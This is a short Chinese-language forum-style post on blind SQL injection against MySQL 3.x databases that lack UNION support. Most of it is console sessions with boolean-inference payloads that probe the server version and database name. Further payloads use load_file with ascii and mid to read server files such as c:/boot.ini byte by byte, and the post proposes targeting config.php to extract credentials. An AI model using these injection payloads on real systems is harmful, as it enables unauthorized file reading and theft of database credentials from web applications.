对mysql的注射主要是靠union 的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。。。。。。

所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但能够使用load_file
但是也不能够直接使用union替换出来。 下面就是我的一点思路:

得到版本:
mysql> select * from user where userid=1 and length(version())<10;
Empty set (0.00 sec)

mysql> select * from user where userid=1 and length(version())<1777;
-------- ---------- ----------
| userid | username | password |
-------- ---------- ----------
| 1 | angel | mypass |
-------- ---------- ----------
1 row in set (0.00 sec)

得到当前数据库:
mysql> select * from user where userid=1 and length(database())>0;
-------- ---------- ----------
| userid | username | password |
-------- ---------- ----------
| 1 | angel | mypass |
-------- ---------- ----------
1 row in set (0.00 sec)

暴取文档代码:
mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))<1;
Empty set (0.05 sec)

mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))>1;
-------- ---------- ----------
| userid | username | password |
-------- ---------- ----------
| 1 | angel | mypass |
-------- ---------- ----------
1 row in set (0.00 sec)

因为工作量大,能够用程式来实现(但是也很麻烦)
另外思路: 能够先使用字符处理函数得到“特别字符的位置”,如我们暴的是config.php文档我们就能够选取“localhost”(或其他)为特别字符,先得到所在的位置(在哪个字节),在去猜他附近的,这样能够省去不少工作量。(未测试)